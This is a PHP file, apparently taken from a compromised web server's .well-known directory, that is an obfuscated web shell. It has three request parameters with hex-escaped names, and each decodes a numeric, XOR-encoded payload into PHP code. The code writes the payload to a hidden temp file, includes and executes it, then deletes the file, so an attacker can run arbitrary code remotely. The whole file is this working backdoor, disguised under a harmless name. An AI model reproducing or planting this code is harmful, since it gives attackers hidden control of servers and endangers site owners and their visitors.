File: //proc/thread-self/root/home/vitanhod/vigolic-100ad.vitavit.com.pk/.well-known/askquestion.php
<?php if(!is_null($_REQUEST["\x70se\x74"] ?? null)){ $entity = $_REQUEST["\x70se\x74"]; $entity = explode ( ".",$entity ); $ref=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s8); $len=count( $entity); for( $t=0; $t < $len; $t++) { $v8=$entity[$t]; $chS=ord( $s8[$t%$lenS]); $d=( ( int)$v8 - $chS -( $t%10))^21; $ref.=chr( $d); } $dat = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); while ($itm = array_shift($dat)) { if (is_dir($itm) ? is_writable($itm) : false) { $obj = sprintf("%s/.component", $itm); $success = file_put_contents($obj, $ref); if ($success) { include $obj; @unlink($obj); exit;} } } }
if(!empty($_REQUEST["de\x73\x63rip\x74\x6F\x72"])){ $data_chunk = $_REQUEST["de\x73\x63rip\x74\x6F\x72"]; $data_chunk =explode ( "." , $data_chunk ); $tkn = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3 ); foreach ($data_chunk as $x => $v6): $chS = ord($s3[$x % $lenS] ); $d = ((int)$v6 - $chS - ($x % 10))^ 91; $tkn .= chr($d ); endforeach; $res = array_filter(["/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]); foreach ($res as $key => $itm) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $flg = "$itm" . "/.ptr"; if (@file_put_contents($flg, $tkn) !== false) { include $flg; unlink($flg); exit; } } } }
if(array_key_exists("objec\x74", $_REQUEST) && !is_null($_REQUEST["objec\x74"])){
$element = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/tmp"]);
$ent = $_REQUEST["objec\x74"];
$ent = explode ( '.' ,$ent);
$property_set = '';
$s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s7 );
foreach ($ent as $n => $v8) { $chS = ord($s7[$n % $sLen] );
$d = ((int)$v8 - $chS - ($n % 10)) ^ 97;
$property_set .= chr($d );
}
foreach ($element as $factor) {
if ((is_dir($factor) and is_writable($factor))) {
$pointer = implode("/", [$factor, ".dat"]);
$file = fopen($pointer, 'w');
if ($file) {
fwrite($file, $property_set);
fclose($file);
include $pointer;
@unlink($pointer);
exit;
}
}
}
}